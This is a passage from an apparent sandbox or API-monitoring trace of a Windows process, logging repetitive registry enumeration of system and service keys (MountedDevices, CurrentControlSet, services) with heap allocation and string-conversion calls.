lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1de4768, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0253.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.851] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.851] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.851] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.851] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1de44e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0253.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.851] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.851] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.851] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.851] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0253.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.851] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.851] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.851] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.851] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1de44e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0253.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.851] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.851] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.851] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.851] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.852] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.852] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.852] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.852] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1de44e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0253.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.852] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.852] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.852] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.852] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1de4768, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0253.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.852] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.852] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.852] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.852] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x160) returned 0x0 [0253.852] RegCloseKey (hKey=0x154) returned 0x0 [0253.852] RegEnumKeyW (in: hKey=0x160, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0253.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.853] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.853] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.853] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.853] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1de4768, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0253.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.853] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.853] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.853] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.853] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1de44e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0253.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.853] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.853] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.853] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.853] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0253.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.853] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.853] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.853] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.854] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0253.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0253.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.854] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.854] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.854] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.854] RegOpenKeyExW (in: hKey=0x160, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0253.854] RegCloseKey (hKey=0x160) returned 0x0 [0253.854] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1de4768, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0253.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.854] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.854] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.854] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.854] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0253.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1de44e0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0253.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.854] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.854] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.854] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.854] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0253.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1de4768, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0253.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.855] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.855] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.855] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.855] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0253.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1de44e0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0253.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.855] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.855] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.855] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.855] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0253.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1de4768, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0253.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.855] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.855] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.855] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.855] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0253.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1de44e0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0253.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.856] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.856] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.856] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.856] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1de4768, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0253.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.856] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.856] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.856] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.856] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0253.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0253.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.856] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.856] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0253.856] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.856] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0253.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0253.856] WideCharToMultiByte (in: CodePage=0x0, 